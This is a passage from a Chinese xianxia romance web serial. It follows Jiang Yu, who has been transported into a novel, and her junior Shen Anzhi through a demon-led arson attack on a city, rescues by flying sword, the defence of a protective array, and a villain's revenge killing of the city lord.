沈安之沉默片刻,“好,”顿了顿,声音说的极快、极轻,“谢了。” 他轻声回应,姜喻似是以为听不真切,出了幻听了。 沈安之刚才是谢了她一声,还是切了她一声…… 她扬起唇角,没再追问。 指尖蘸着微凉的药膏轻涂轻抹,游走之处有拂人心脾的魔力,力道带着点她特有的、懒洋洋的随意,药香混着她指尖的体温,竟生出一种神奇的熨帖。 丝丝缕缕渗入肌理。 沈安之骨子里那根时刻绷紧的弦,一寸寸、无声无息地……揉散了。 警惕如沈安之也挡不住这恰似温水的侵蚀,浓密眼睫不由自主地垂下,叫他警惕性子竟不知不觉染上几分难言的睡意。 恍若彼时,她也是这样,用布巾裹着他湿漉漉的长发,有一搭没一搭地擦拭着。 姜喻涂抹完小心偷看,沈安之平躺阖上眼,眼睫卷翘,根根分明,叫女子看见都艳羡。 紧闭眼眸安静时,分明就是个长相精致又俊朗的少年郎。 姜喻用手帕擦去药膏,起身欲走,她一节衣袖不知何时让沈安之压在手掌下抓牢。 轻轻试探地扯动,沈安之反之更牢更紧地攥在掌心。 姜喻见他睡得香,双手趴在床沿,静静地看着他,伸手好奇又小心翼翼轻触着少年长睫,见他微动似乎要醒,赶紧收了手。 见沈安之没醒,她暗自松了一口气。 困死她了。 姜喻趴在床沿,睡意袭来。她又梦见了一些从未见过的断断续续的场景,可挣脱梦境醒来又不记得到底看见了什么。 她妍丽的眸子倒映着沈安之的睡颜。 差点忘了这茬。姜喻暗自感慨真是心大,不管不顾地趴在沈安之身侧,也不知睡了不知多久。 窗棂外暮色正浓,鎏金般的晚霞在天际流淌,将云絮染作百迭千重的暖橘。 姜喻支着颐,身侧呼吸声打断她的出神。 抢救褶皱的衣袖,这一次,沈安之松开了手。 他呼吸声不变,姜喻无声地展颜一笑。 睡的好沉,连她在身侧都没有察觉…… 不由回想起前几日,她借宿在沈安之厢房时,彼时沈安之睡得比狗晚,起的比鸡早。走时静悄悄的,来无影去无踪,如此恬静颜容,近距离观赏沈安之睡颜,倒是极为难得。 轻飘飘地鼻息喷洒,沈安之轻颤睫毛,姜喻秒变了表情,呼吸一滞,悄然屏息后仰身形几分。 临走前,姜喻取出了鹤门宗统一样式所做的玄色衣袍放在桌面。 木门“吱呀”一声轻响,被轻轻掩上。 刚练完剑踏上楼梯的方微云,抬眼便瞧见姜喻正猫着腰,做贼似的从沈安之房里退出来。他脚步放得更轻,出声唤道:“姜师妹,沈师弟伤势如何了?” 姜喻猛地一颤,干笑着转过身:“好、好多了!都好多了!” 方微云走近两步,目光落在她脸上,带着几分探究:“姜师妹,你这是怎么了?脸上……”他顿了顿,语气里添了丝了然的笑意,“这胭脂……倒是红得异样。” 姜喻嘴角僵硬地扯了扯 :“没、没有的事!那个……师弟还、还没醒了,我先走了!”挤出一个仓促的笑,话音未落,已飞快地提起裙裾,像只受惊的兔子头也不回地冲下楼梯。 只留下急促细碎的脚步声,和一丝若有似无的药香在空气里。 “……”方微云浅笑着,扇柄轻敲了敲下巴。 * 夜幕降临,弦月高悬。 姜喻心数日子,顾疏雨来此,那剧情的展开不远,她得更警惕一些。 她躺上床阖上眼,睡得迷迷糊糊,不知时辰。 “师妹,快醒醒!”顾疏雨声音猝然响起,急忙拉起姜喻的手臂,将睡眼惺忪的姜喻强制开机。 “怎么了,师姐?” 屋外嘈杂声纷纷扰扰,她丝毫未觉,直到现在烟雾呛得姜喻咳嗽不止。 顾疏雨拽起只穿着小衣的姜喻,拿过一旁的衣裙塞进她手心,“来不及解释了。穿上,快下楼!” 姜喻脸色刷白,随意搭一件外披,东西来不及收拾,赤脚去拉为她找寻衣物的顾疏雨。 “师姐我不穿了,火灾来了,我们先跑再说。” 顾疏雨怔愣地动作一顿,清丽容颜流露出一抹欣慰神色,道:“师妹长大了。” 顾疏雨持剑“哗啦”大力地打开木门,滚烫的热浪和烟雾一拥而入,刺激的每一个毛孔舒展。 很快,两人后背冒起一层薄汗。 顾疏雨一剑寒霜灵气破开烟雾遮挡,诡异的白雾蒙蒙浓浓,剑气给两人劈开了一条生路,热风卷起得姜喻披散的墨发在半空微扬翻滚。 黝黑不起眼的角落,一双枯槁锋利的黑手自她身后伸出,抓向姜喻的头发只差分毫。 “叮叮——”铜钱剑呼啸,撞击声四面八方,陡然长剑半截插入木地板之中,被破打断偷袭的黑手斩断,黑血四溅。 “啊啊啊啊啊——”妖物狰狞地嚎叫。 尖锐的声波能穿透耳膜似的,仿佛要在每一个人神经上面蹦哒跳舞。 姜喻被巨大的灵力冲击掀飞,前扑踉跄倒地,一头直挺挺地撞在栏杆上。 当即脑袋像是被打了一拳,脸上刺目的热流流淌而下。 “师姐。”姜喻侧耳听一贯冷静的沈安之声音,带着焦急、关心、愤怒…… 姜喻知晓额头破个拳头大的伤口,黏糊的鲜血模糊她的视线。强撑开眼皮,勉强能看清沈安之飞奔跃迁木栏,着急赶来的玄色身影。 姜喻欣喜地掀开嘴角,下一刻,如泄气皮球。 沈安之离顾疏雨最近,他先一步扶稳顾疏雨身形,顾疏雨的长剑刺入地板,奋力倔强地支撑身形。忍痛捂住左耳,炙热的鲜血从白皙的指缝流下。 顾疏雨视线落在沈安之的模糊不清的侧颜,见他视线紧紧看向姜喻,推搡着急切地催促道:“我没事,先救师妹!” “我送你们出去。”沈安之轻叹气,扶起顾疏雨站起,加快步伐瞬移到姜喻身侧,看清她的模样指尖微颤。 姜喻断断续续听他们说话的功夫,先一步扶着木栏半坐起身自救。她捂住口鼻企图阻挡烟味,鲜血混着胸腔共振时难受的酸楚感,一同堵在喉头和鼻子。 她大口呼吸,抬根手指头的力气被抽走的一干二净。 等沈安之靠近她时,姜喻接近于意识昏昏沉沉,眼前一块黑一块白。 他眉眼冷漠时似一件随时出鞘的宝剑,企图让所有人靠近他遍体鳞伤,又或是所有人死无葬身之地。 深邃的黑瞳如深渊的夜,寒风呼啸,可丹凤眸不笑时,静静注视你却宛若深情专注。 “师、弟。”她启唇翕动,虚弱地抬眸眼眶微红,勉强地动了根手指。 沈安之眸底幽光翻涌,指尖掠过姜喻垂落的青丝,骤然俯身将人捞进臂弯。苍白的指节收紧,温热身躯隔着衣料贴紧胸膛,那颗软绵绵垂落的脑袋恰好枕在他颈窝。 他本该消磨在心海中不该存在的念,可见姜喻额头受伤又顿感一种难言心痛和怒意,瞬间席卷四肢百骸。 为何他要如此在意…… 姜喻的血蹭到他衣襟和手背时,带着难以言说的粘腻感,他只觉得没由来的心慌。 姜喻感受到沈安之有一瞬顿住身形,不知在想些什么。她知道沈安之不喜血,他厌恶血沾在身上。 “抱歉了,师弟,血沾落在你衣裳了。”姜喻小声道,“等事了,我给你洗洗。” 沈安之下意识地搂紧怀中人,“师姐先别说话,我会带你出去的。” 他不讨厌姜喻沾在身上的血,平日水灵灵的小桃子干瘪,活泼好动的小山雀濒死,让他平息的燥郁又颤抖在心海。 疤痕处的痛意妄图吞噬理智,摧毁意志,占据心境地每一方寸之地。 有几天没再感受到反噬发作了。 他皱眉咬紧牙关,不让人看出分毫端倪。 “不许睡,不许死,师姐……你给我睁开眼。”沈安之压低声音,闷闷发狠地咬紧了吐出的每一个字。 姜喻听到他的话挺想笑的,可是笑又浪费力气,她干脆把侧脸埋在他胸口蹭了蹭,血不知不觉蹭得更多。 剑光如影,沈安之御剑时单手掐诀,虚空念咒,剑气骤然暴涨,两人衣袂纠缠着,随即与顾疏雨御剑向上冲破房顶。 碎瓦纷扬落下,月光泼了满身。 姜喻窝在沈安之的怀里被护得周全,凛冽的夜风穿透她单薄衣物,刺激姜喻昏沉的精神渐渐回笼。 姜喻抬眸能看见沈安之的下颌线,那道紧抿的唇。 “飞起来的时候,我们真像8、90年代剧中黑白雪花片的大侠啊。”姜喻小声嗫嚅着,有些吹糊涂了。 “什么?”沈安之垂眸瞥见姜喻苍白如纸的脸颊,血色刺目,指尖一颤,蓦地将人往怀中带了带。结界无声展开,将肆虐的寒风尽数阻隔在外。 姜喻佯装没听清他的追问,只是摇了摇头。 她慢慢挪着脑袋从上往下俯视,整个客栈里里外外全在燃烧。不止此处着火,围绕着药材铺周围全是连绵的火势,如一条条蓄势以待的火舌舔舐着众生生机。 眺望天乩城其他位置,几处稍远之处所,师姐带她拜会过,是其他门派的弟子暂时歇脚之处。 这不是普通的妖物偷袭,有组织有预谋。 从脚底冒出来的寒意,直冲她的天灵盖。 姜喻唯一能够倚仗的是原著剧情,可在这第一个副本里她便隐隐发现,从她来到这里开始,一切都在悄然变化。 世界运行出的轨迹,书中没有具体写明的细节……她好像,已经不能再把这个世界当做一本简简单单的小说了。 她真的可以改变沈安之的命运回家吗? 她可不想做成人皮灯笼…… 姜喻抬眸看向那棱角分明的下颌。 他们隔下面隔的太远,她好像还可以听清随风带来,时断时续的呼喊声,求救声,打斗声。 浓雾翻涌如墨,几道扭曲的妖影忽隐忽现,其形臃肿怪诞,在烟尘与雾气交织的混沌中游弋,似在寻觅落单修士的破绽。 眼睁睁着救火的弟子转眼被妖爪拖入雾中,两者爆发出激烈打斗。 “大师姐,以城中药材铺为起点,连绵不断的火势烧来我们这里,检查过有火油的迹象。”沈安之面色波澜不惊,近乎于冷漠地陈述事实。 “先救人。”顾疏雨见此情形,蹙紧柳叶眉,身轻如燕,御剑翻身跳了下去。 沈安之御剑疾驰而去,把姜喻送至安全地点。 “师弟快去救人吧。”姜喻仰面七仰八叉地躺在柔软草地,今夜浓雾太多,星辰全部遮盖了。 她如一条不愿意翻面的咸鱼,半哄自己支愣起坐起身吃了颗丹药。 因为看不见额头伤口大小,随身的金疮药全撒在额头,北风一吹,反糊她一脸的粉末,伤口愈合时又疼又痒。 真是倒霉…… 沈安之轻蹙眉宇,眼底蕴着混杂的墨色。他径直在姜喻面前单膝蹲下来,以至于惹得姜喻停下手,妍丽眸子目不转睛地回视。 为什么她…不像以往喊他相助? 他指尖轻轻揩去她面颊上的粉末。 姜喻一怔,又见他沉默不言,声从心来问道:“你为何不笑?” “我笑什么。”沈安之轻哼一声,没由来得气的反笑。 第30章【VIP】 第30章 “没什么。”姜喻小声嗫嚅,看向他的眼,眸光游移到他指尖动作,笑了一声,抬眸轻笑,“我没事啊,这点小伤我自己来就好。” “师姐今日倒是逞强。” 他落在肌肤上指尖,在触及她额间狰狞的血窟窿时骤然收回。回神来指腹轻擦去她脸颊粉末,望着她额头的血窟窿。 沈安之指尖顺着她染血苍白的面颊缓缓下移,姜喻忍不住后仰躲开他的手,反让他有机会扣住她后颈,尾指勾了勾她垂落的青丝,无奈轻笑一声:“别动。” 姜喻僵硬象征性挣扎了两下,他下移的尾指一钩,漫不经心挑开她披风系带,染血的狐毛披风簌簌滑落。 沈安之拿起披风慢条斯理擦拭姜喻颊边血渍,殷红在银白绒毛上绽开妖异的花。 姜喻近乎呆愣地看着他的动作,“师弟,你这……” "脏了。"沈安之轻声道。 指尖陡然窜起一团火焰,那件价值连城的狐毛披风竟在半空中烈烈燃烧起来,灰烬如飞絮纷飞,映得他眼底晦暗不明。 姜喻问号满头,疑惑歪头看着他的动作。 “师弟,你解开了我就冷了……”惹得姜喻不满地皱眉。姜喻敢怒不敢言,抬头看向他无辜眨了眨眼。 沈安之到底在干嘛,这件披风好像是方微云遗落给顾疏雨,师姐顺手就把它给自己披着了…… “知道了。”沈安之解下玄色外披轻系姜喻脖颈,皂角香中一下撞进淡淡馨香和胭脂味。他一边系上一边思绪翻涌,下意识皱了皱眉。 她怎么会有方微云的披风…… “师姐倒是随随便便就往身上套了跑出来了。”沈安之动作轻缓,指尖打下蝴蝶结扣,压下声音。 “此前情况紧急,不过这一件披风看起来有什么问题?” “染血了,碍眼。”沈安之退后一步,抱臂侧眸,说的理所当然。眼神却不自觉上移,是姜喻逐渐红润的面色。不经意一瞥,眼波突转姜喻半截露在外的脚指,伶仃脚踝又往披风下缩了缩。 沈安之猛地别过脸,急促退后一步距离。 披风清雅舒适的皂角香包裹她全身,似与是沈安之平静下暗藏危险蛊惑的气息交缠。 身体越来越暖和,苍白失血的脸色好上四五分,她微微仰头想看清沈安之,却见他不知何时背过身摩挲着铜钱,似有若有若无喉间溢出急促呼吸。 “师弟,要不你先去帮顾师姐他们吧,我在这里没事的。”姜喻提议道。 “我若走了……待妖物嗅到落单的师姐,凭你现下这副模样,如何应付?”沈安之扭过头,眼神却暗藏一抹幽深,“趁你还能走,跟我回去。” “知道了。”姜喻起身往前走,懒洋洋一抖宽大披风,墨色披风在月下漾开涟漪,似要将自己裹成只密实的茧,“我们一起回去帮助师姐。” 她回眸投下晃悠悠一道影,浑然不觉暗处视线已缠绕上她的后颈。 沈安之忍不住脚步轻抬,退后一步拉开距离,慢条斯理地拂去指尖的白色粉末。 可似有若无的温度仿佛一直存在在指尖。 好奇怪…… 姜喻好奇问道:“师弟,你的玄色披风真暖和,到底是用何种布料制成?我想给自己置办一件了。” “妖皮。”薄唇轻启,吐出这两个字。 “……?”姜喻蓦然回眸,她心头猛地一跳,惊疑问道,“我理解的……妖怪的皮囊?” “师姐,这你都相信?”沈安之抱臂弯唇一笑。 他笑容不带嘲弄,姜喻也忍不住弯了弯唇,嘴唇嗫嚅了两下:“好吧。” 沈安之垂眸看她一眼,解释了一嘴:“加入灵力罢了。” 姜喻笑着看向别处哦了一声,当做无事发生。从储物袋中取出的一条红色菡萏荷花发带。 她给自己束发,发带要么松松垮垮,要么变形松散,试过几次均以失败告终,不自觉地视线瞥向沈安之。 “师弟……”她抬眸正对上某人垂眸凝望她,“可不可以帮我束发。” “师姐倒是不客气。”沈安之抱臂看她,“拿来吧。”接过她的发带,飞速给她绑一条可可爱爱的麻花辫。 姜喻爱不释手轻抚了一下,沈安之技能点满了吧,笑着缓步凑到他身边,和他肩并肩道:“师弟心灵手巧,不会吝啬再给我多编几次发吧。” 瞧着姜喻踮着脚尖,笑吟吟地凑上前,沈安之薄唇微弯,玉色指尖快如闪电,不轻不重地叩在她另一边光洁的前额上。 脑瓜声又大又清脆,姜喻微微睁大眼,茫然捂住前额撤退一步。 沈安之弯唇轻慢一笑,不动声色地侧身抱臂,拢手背在身后,指尖来回往复揉捻,连带有微热的触感挥之不去,“走了,师姐。” “来了。” 沈安之指间掐诀,一柄铜钱剑嗡鸣着悬于身前,幽冷光晕流转。姜喻紧跟其后,虚张声势地举起小拳头,学着沈安之的样子眼疾手快跃上剑身,借着那股冲劲儿,手掌结结实实拍在他肩上。 沈安之御剑静立的身形纹丝不动,回眸弯唇,眼神透着意味不明:“师姐真是吃不到一点亏。” 姜喻一脸不知所云,笑盈盈灿烂笑容道:“师弟,我们快些走吧。” 沈安之轻慢一笑,御剑而行。 沈安之御的剑歪歪扭扭,在云海中忽上忽下,颠簸得如同狂风中的落叶。 剑身猛地一个趔趄向下栽去,失重的瞬间,姜喻喉间迸出一声短促的惊呼。她几乎是凭着求生本能,双臂死死箍紧了沈安之劲瘦的腰身。 “御剑不考证,行人两行泪!”她心脏怦怦狂跳,后怕地贴着他温热的脊背,咬牙切齿。 方才若非她反应快抱得紧,怕真要遂了这朵黑莲花的心愿,被他“失手”甩下云端! 姜喻落地缓了口气,回身拉着沈安之的腕骨步伐由漫渐快:“这边药庐的火势大,不知道有没有人在,我们先去灭火救人。” 沈安之垂眸望向拉着自己的手腕骨节。 师姐小胆子倒是越来越大,可那些人死活与他何干…… * 客栈的掌柜揩去泪眼涟涟,眼睁睁瞧着烧成废墟的客栈,急得额头密汗,一旁的鹤门宗弟子一人抓紧他胳膊,制止他冲动跑回去。 “妖物杀人诛心,离了客栈的营生,以后如何是好。”掌柜沉重的叹了一口气。 浓烈的油烟味呛得人喉头发紧,大火烧的噼啪作响。 方微云长剑一振,凛冽剑气劈开翻涌的浓烟,反手一刀便将逼近的黑影斩灭。他目光焦灼巡睃,直至瞥见顾疏雨周身上下安然无恙,心头那根紧绷的弦才悄然一松。 “顾师妹,许久未和你并肩作战了。” “嗯,先救人!”顾疏雨语声未落,身影已如离弦之箭掠向被困弟子。 那黑影原是团团凝如实质的诡异雾气,刀锋过处,只余几缕青烟袅袅散尽。 “大师姐,火势小了。”一道黑影隔着烟雾大声禀报。 “集合百姓和众弟子,开启玄武云霜阵。结伴同行,切勿单独行动。” 黑影赶紧应答了一句“是”,转身离去。 姜喻发现药庐有人呼救,用召水符破开了墙边火势。 “师弟,我们进去救人。” “师姐倒是善意。”沈安之侧眸看向她,揽着她的腰带人翻墙而入。 姜喻隔着火势眼见身一绿裙姑娘牵着不足五岁的女童,惊慌失措地拍上药庐大后门,后门似被什么重物阻碍使得无法逃生。 “师弟,那边有人!”姜喻惊喜道。 对面姑娘隔着熊熊燃烧的火势,瞧见一男一女翻墙而入,登时泪眼婆娑,如同抓住了救命稻草般大喜地呼喊道:“救救我们,救救我们!求姑娘、公子救命啊!” 沈安之手中铜钱剑寒光一闪,后门木屑纷飞,应声而破。他收剑而立,月色下衣袂翻飞如流云,侧颜清冷妖孽。 绿裙姑娘 李沐亭的目光落着在那张毫无情绪的俊美侧脸上,一时竟看得痴了,连妹妹李沐云的手都忘了牵紧。 “此地不宜久留,二位快随我们走。”姜喻召水符灭了火势上前一步,对受惊的姐妹俩绽开一个安抚的笑容,她语速轻快,透着令人心安的笃定,“我们不是坏人。” 原著描写天乩城后山开启了玄武云霜阵,可护佑百姓与修士,带他们正去法阵避难。 李沐亭猛地回神,目光触及少年身旁那绯红衣裙、笑容明媚的少女,心头掠过一丝自惭形秽,慌忙地攥紧了妹妹的手,垂眸低声道:“多谢姑娘,多谢公子。” “举手之劳,你们不必客气。”姜喻浑不在意地弯唇一笑,她侧眸看去沈安之收剑的身影,心中微动。 肯随她来救人,看来这株看似黑透了的“莲花”根茎深处,始终残留着一丝未曾泯灭的微光。 毕竟他可口口声声说着自己绝非是个多管闲事之人。 他们带着从药庐烟雾中救出的两人,总算赶到玄武云霜阵的范围。 穿过阵法结界,结界泛起如水波般漾开的微光将众人笼罩。 姜喻倚着阵壁长长吐出一口气,额前几缕被烟熏火燎过的碎发随之轻轻飘动。 接应弟子匆匆赶来,行了一礼:“道友请随我来。”他带着四人前往避难之处,待他们来时顾疏雨和方微云协同各派弟子,正在有条不紊地安营,井井有条救治着伤员。 姜喻目光触及顾疏雨清绝的侧影,心尖不自觉地一烫,笑着感慨道:“真不愧是师姐。” 顾疏雨见他们无恙归来微微颔首,眼底闪过一丝宽慰,大步走来。 30-40 第31章 顾疏雨目光扫过姜喻二人身后,瞥见他们带来的两位姑娘,立时吩咐弟子:“速带二人下去疗伤。”转向沈安之,语速微急,“师弟,阵眼告急,劳你速援!” 沈安之只淡淡一“嗯”,目光未动。一旁的姜喻眸光微转,视线在他与顾疏雨之间悄然溜了个来回。 沈安之忽地侧首,唇角勾起一抹似笑非笑的弧度,夜风卷起他散落的几缕墨发:“师姐,看什么呢?” 姜喻指尖下意识蹭了下鼻尖,眼神飘忽:“没、没什么呀。”她不想承认,先前瞧见沈安之对顾疏雨与自己差别,心头生出那点微不可查的闷意。 目光无意下移,落在自己光洁的脚趾上,姜喻猛地一怔。 她该不会一路赤足行来的,一路碎石嶙峋,地面寒气刺骨,她怎会半分痛楚也无? 沈安之环臂而立,悄然移开视线咳嗽一声,暗自侧过身避开目光。顾疏雨将一切尽收眼底,眼底掠过一丝了然,低语轻叹:“竟有一日,能见师弟如此……细致入微。” 姜喻垂眸看了看光洁的脚趾惊觉,“一路上我都赤脚走路,为何没有半分感觉?”边说话边席地坐下,取出一双绣着藕粉荷花的鞋穿上。 起身时顾疏雨轻扶她一下。“将灵力附于脚底,行走时隔离地一指,如履平地。”清雅声音挟着一丝新奇。 姜喻自然而然好奇地看了眼沈安之,抑制上扬的嘴角,故意小声道:“师弟不会以为,我是乐意赤脚行走吧。” 冰凉的铜钱在沈安之指腹下缓缓转动,摩挲的指尖却猝然顿住。他身体几不可察地一僵,才缓缓侧过半身:“怎会?不过……看师姐这般模样,觉得有趣罢了。” 嘴硬。 姜喻闻言抬眸,妍丽眸子弯起,漾开嘴角笑意。视线流转间,她敏锐地捕捉到沈安之始终侧着半边身子,巧妙地将视线错开。 他该不会……是在害羞? 姜喻笑着收回思绪,抬眼看向苍穹泛着莹白微光阵壁,原著中玄武寒霜阵剧情写到,诸葛瑾企图从外打破阵法,目标是为了找到一人,如今混迹在百姓中的现任天乩城城主李霆。 至于原因很简单:血海深仇。虽篇幅不多,仅知道诸葛瑾一心要杀了他。 按照原著剧情里李霆狗急跳墙逃到阵眼,本想打破了玄武寒霜阵逃离,才导致本该以防代攻的轻松局面瞬间扭转,妖邪侵入最终是各宗门以万剑诛杀阵杀了数百妖邪。 此站虽胜,可沈安之却受了重伤…… 姜喻心念微动,心里打定了主意,走上前小声地提议道:“师姐,我也想随师弟和其他弟子去守阵眼。阵眼至关重要,多安排弟子前去总没错。” 顾疏雨一时惊讶地看向绯红的娇小身影,姜喻眼底闪着顾疏雨从未见过的坚定,明眼人清晰看出姜喻肉眼可见的成长,顿感欣慰颔首:“好,你们万事小心。” “好。”姜喻笑着,下意识轻拍了拍腰间储物袋,里面全是她事先准备买好的各种符纸。 沈安之垂眸瞧了眼她细微的动作,懒洋洋地抱臂倚着一棵树斜靠着,姿态慵懒。 “师姐自告奋勇,”沈安之的声音裹在风里,带着一丝不易察觉的探询。她倒是越发胆大,“就不怕出了什么意外?” “这不是有你嘛。”姜喻侧过脸,粲然一笑,语气轻快笃定,“师弟,御剑可好?我们快些去。” 沈安之微挑眉梢,喉结无声滚动了一下,心底那丝隐秘的快意悄然蔓延,他望着姜喻含笑的侧颜,唇角勾起一抹极淡的弧度:“师姐倒是……信我。” “自然信你。”姜喻答得干脆。 沈安之指尖灵光微闪,已召出铜钱剑,发带在风中轻轻翻飞。熟练地带着姜喻御剑抵达阵眼所在。 阵眼外黑雾缭绕,伸出利爪抓挠阵壁,带来不小的震动感。 落地时已有八名阵修弟子列阵四方修补玄武寒霜阵,为首弟子师承千机阁,对姜喻和她身后跟着二十多名弟子浅行一礼,“多谢各位支援。” 剑修弟子长剑一振,凌厉剑气横削直刺翻涌的黑雾;阵眼另一侧,法修指间凝出微光,轰然燃起刺目金光……忌惮众人齐心攻击,雾妖浅退龟缩在一侧。 书中防卫不足,才让天乩城城主李霆这个小人趁机钻了空子…… 短暂击退完毕,姜喻和沈安之在一旁静立。 姜喻的目光落在阵眼处,那枚玄武阵石幽幽泛着青芒,在幽暗中格外扎眼。 她警惕地注意四周,紧挨着沈安之身侧,小声提醒道:“师弟,当心些……这阵眼,活脱脱是人家眼中钉、肉中刺。” 沈安之弯唇轻慢一笑,抱臂侧眸,眼底闪过转瞬即逝的好奇之色,“师姐,师弟有一问。你,为何前来?” “自然是阵眼重要。”姜喻抬眸眨眨眼,语气说得理所当然,不动声色地逡巡四周。 “阵眼这般重要啊……”沈安之轻哼了一声,分明压低声音轻复述了一遍,可摩挲铜钱的指尖几乎掐进孔眼。 不过一炷香的时间,迎面五人抬着一身负重伤的中年男人急匆匆赶来,他面相气若游丝,脸色苍白四肢无力,可脚下看似依托,却每一步用力。 五人见到严防死守的阵眼所在之处皆是一愣。 沈安之懒懒掀起眼睫,指尖漫不经心摩挲着那枚铜钱,唇角勾起一丝若有似无的嘲弄,“一眼假。” 姜喻小幅度地点了下头,鬓边几缕碎发跟着晃了晃,压低声音道:“师弟,你可知诸葛家之事?” 沈安之垂眸凝神望向她,“师姐知道?” “不知道。”姜喻迷惑摇头,一个小反派也没写他前因后果。 焦急的年长男人李程上前一步行礼,压下嗓音对他们大着嗓门怒喝道:“我们家主确有攸关生命急事,还请速速打开阵眼,让我们先行一步!”语气虽是不落话处的礼貌,可口气分明就是命令。 沈安之眸色沉了沉,唇线抿成线,压下眉宇不悦,姜喻眼尾一瞟,读得分明从他唇间无声的“蠢货”二字。 有弟子上前一步礼貌抱拳行礼:“李城主,阵眼一旦打开妖邪势必定乘虚而入,我千机阁药修已在营中准备,李城主即可前往。” 李霆本是装模 作样,想尽快离开,眼看不能硬闯,只好暂时退回,但又不甘心就此离去。 他浑浊眼珠一转就看清沈安之和姜喻,认出了他们鹤门宗的弟子服饰样式。想着和他们此番认识,倒也是个接近鹤门宗寻求第一宗门庇护的好办法。便附耳小声低语给李程,李程立马带了几分讨好走到少年少女面前。 “二位多有打扰,我们家主身负重伤,姑娘、公子可愿搭救一把。” 姜喻唇瓣微启还未张口,沈安之已上前一步,半个身子遮掩了她身形,修长的手指摩挲着那枚铜钱。 姜喻愣了愣看向他背影。 众人只见沈安之手腕轻巧一抖,铜钱带着一道凌空翻转,“啪”一声脆响,被他手背稳稳盖住。 都被他吸引过去目光。 少年人特有的意气风发在他眉宇间流转,可那双微挑的丹凤眸深处却藏着丝缕化不开的邪气。沈安之抬眼,目光锁定李程,唇角噙着若有似无的笑:“猜猜,是正是反?” 李程被他看得心底发毛,先前装模作样早就冷汗浸透里衣,实在摸不透这喜怒无常的公子葫芦里卖的什么药,只得硬着头皮哑声道:“反……反面吧?这位小公子,如今……可能送我们家主走了吗?” 沈安之慢条斯理地摇摇头,指尖在那枚被掩盖的铜钱上轻轻一点极速翻转握紧在掌心。 “急什么?”沈安之扬起温良的笑意,“我观铜钱,送你们走的不是我们……” 姜喻怔愣地抬眸,沈安之问出一个人这个问题,多半已把他列入死亡清单…… 她咽了口唾沫。 沈安之抱臂侧眸,不再搭理李程谄媚的笑意,李程悻悻然收敛表情,临走前带怨恨瞪向沈安之侧影。 二个时辰后,直到下一波弟子接替他们都是无事发生,姜喻松了一口气。 想到沈安之不会身受重伤,心里难免雀跃。 沈安之抱臂缓行,不远不近地跟在姜喻身后。看她步履轻快又哼着不成调的小曲,青丝随着她的动作在脑后摇晃。 他眸色微深,尾指悄然探出缠绕上她的发尾,指腹无意识地轻轻捻动。恰逢她闻声蓦然回首,他指尖一松,面上已敛去所有波澜,只余下恰到好处的疑惑,嗓音低沉:“师姐今日……怎这般高兴?” 姜喻喜悦无处分享,凑近些,眼波流转间带着一抹狡黠,故意拖长了调子,笑意盈盈:“自然呀,是和师弟一起,才这么高兴呀!” 沈安之燥郁的眸底划过一丝玩味,倏地凑近几分:“阵眼比起师弟,谁更重要?” 姜喻让他莫名其妙问的一愣,自然而然地脱口而出:“阵眼很重要,师弟也很重要。” 沈安之看她认真神情,眼底的晦暗也让其驱散了几分,终是低低叹道:“师姐倒是会说话。”眼底翻涌的墨色悄然平复了几分,喉结微滚,眸光转向她额头结痂的伤口,“早些休息,免得又是受了伤。” “知道了。” * 营帐内灯火未熄,姜喻刚沾着软枕便被帐外狂暴的嘶鸣惊起,肆虐的气流正发狠地撞击着玄武寒霜阵的阵壁,发出清脆破裂声。 揉着惺忪睡眼冲出营帐,正撞上沈安之投来的目光。 少年捕捉到她眸底掠过的那一丝惊悸,弯唇轻慢一笑,温热的吐息几乎拂过她微乱的发顶,压低的嗓音:“师姐,等会儿可要当心些。” 姜喻颔首。 在外无头苍蝇似的诸葛瑾,现如今确堂而皇之出现在李霆营帐外。李霆五人早已吓得哆嗦跑出来,哪还装出虚弱,几乎是掏出压箱底东西反击。 李霆见到诸葛瑾极为心虚惊恐:“你这魔修中人如何进来!” 在众人祭出宝器时,诸葛瑾已如鬼魅般欺近,枯瘦的五指如铁钳般死死扼住李霆咽喉,“李霆,你这老贼还想往何处逃?!” 李霆惊骇回眸,眼中难以置信的神色尚未消退,两只铁拳已裹挟着劲风狠狠砸落在他双目之上。 剧痛蔓延,始料不及的时刻,诸葛瑾已经掐住李霆的脖颈,“李霆今日便是你以血祭我诸葛家满门!” 众人在场皆是震惊,诸葛瑾手上用力掐死了李霆,他软绵绵倒在地面。 诸葛瑾畅快大笑:“忍辱负重十年,天乩城和你们这些小娃娃得为我诸葛家陪葬。” 顾疏雨警惕万分,千机阁阵修弟子匆匆赶来,看见诸葛瑾出现大惊,他本是来告知镇守阵眼的玄武灵器丢了,如今还是来迟一步…… 大敌当前,众人反应如原文一样以万剑诛妖阵困住诸葛瑾。 他陷入癫狂,手刃仇人后竟不惜以半身精血所制的黄符,撕裂出了一道缝隙逃离。 沈安之、顾疏雨等人已拦在他脱困的必经之路上。 诸葛瑾的目光毒蛇般扫过众人,最终牢牢钉在沈安之脸上。抚掌怪笑,他怨毒几乎凝成实质。 “妙极!若非这位公子暗中相助,本座焉能得此良机?小娃娃,当真要多谢了!” “胡说八道!”姜喻瞳孔一颤,想也没想就炸毛似的打断,清脆的嗓音显得格外突兀。 她下意识往前踏了小半步,几乎要挡在沈安之身前。 刹那间所有目光,怀疑的、惊愕的、探究的,如同无数根冰冷的针,带着刺骨的寒意,齐刷刷聚焦在沈安之周身上下。 他孤身立于众目睽睽中,却再视线接触姜喻动作时唇角悄然勾起一丝极淡,仿佛带着点兴味的弧度。 自知在劫难逃的诸葛瑾目眦欲裂,嘶吼着燃尽最后灵力,引爆了掌心的黄符。 狂暴的力量瞬间炸开,碎石横飞,罡风如刀。 四散奔逃的修士们骇然惊呼,仓促间各色护身光罩仓皇亮起,琉璃般脆响不绝。混乱的荧光乱流中,沈安之却猛地旋身将姜喻护在怀中。 铜钱剑嗡鸣震颤,一道流转着暗红血纹的结界悍然张开,灭顶的气浪死死隔绝在外。 姜喻捂住耳朵压盖爆炸声,只觉得魂魄都要被声波撞出窍,闭眼埋在他微颤的胸膛前装死。 良久,她未睁眼就感觉到下颌抵住她发顶,有血腥味弥漫在鼻翼。 “师姐,可以睁眼了。”沈安之咽下口中腥甜,拢手背在身后,掌心溢出的鲜红在地绽开血花。 第32章 姜喻闻到血腥中熟悉香甜味的时慌了神,沈安之又受伤了,明明避开了剧情,可他还是伤了…… 姜喻眸光沉沉,关切道:“师弟,你受伤了。” 她担忧地抬眸却只能看见下颌的阴影,保持护着她的动作,沈安之察觉到她直勾勾的目光反应来浑身一僵。 